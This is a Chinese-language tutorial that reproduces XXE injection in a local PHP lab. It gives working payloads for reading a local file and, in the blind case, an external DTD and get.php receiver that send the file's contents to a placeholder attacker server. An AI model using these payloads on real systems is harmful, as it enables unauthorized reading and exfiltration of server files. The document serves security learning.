参考链接:https://www.jianshu.com/p/163879fc1018
漏洞原理
当XML文件中出现关键字”SYSTEM”定义的“实体”(DOCTYPE头部标签中会呈现),便可通过XML文件中定义的’实体’ , 访问本地或者远程的内容。这时候,XML解析器在SYSTEM的作用下从URI中读取内容,并允许它在XML文档中被替换,从而造成外部实体攻击。此时,Web应用如果产生数据回显,则会将URL中的数据呈现在应用界面上。
而如果Web端注意到这一点,没有设置回显,那么攻击者可以将数据通过外数据通道发送到攻击者服务器,从而达到攻击效果。
漏洞复现
这里用phpstudy以及自己的服务器进行搭建环境
首先本地根目录下写两个文件
test.php
1 | <?php |
pwd.txt
1 | 21212121(任意都可以,假设这个文本是攻击者想要的内容) |
- <<<EOF ….. EOF; 这中间不对敏感字符进行转义
- simplexml_load_string()函数:转换形式良好的 XML 字符串为 SimpleXMLElement 对象,然后输出对象的键和元素
然后访问本地文件1
http://localhost/test.php
可以看到pwd.txt的文件成功地被读取了出来
无回显的情况
但是如果没有回显,即没有print_r($data),这样就没法读取到pwd.txt了,这里的办法是将回显数据通过外数据通道发送到另一个服务器
这里联系自己的服务器进行攻击
test.php1
2
3
4
5
6
7
8
9
10
11
12
13<?php
$xml=<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///D:/phpStudy/PHPTutorial/WWW/pwd.txt">
<!ENTITY % xml SYSTEM "http://服务器_IP/milin.xml">
%xml;
%send;
]>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
然后在自己的服务器放个milin.xml文件1
2
3
4<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://服务器_IP/get.php?file=%file;'>"
>
%all;
然后为了接受这个文件的数据,再构造一个get.php1
2
3<?php
file_put_contents("key.txt", $_GET['file']) ;
?>
最后访问URL模拟攻击:1
http://localhost/test.php
会发现在自己的服务器目录生成了一个key.txt,里面内容为你本地的pwd.txt
遇到的一些无法复现的问题
我也遇到了这个函数的问题,但切换版本总是一样结果,后来把phpstudy删了重装结果好了= =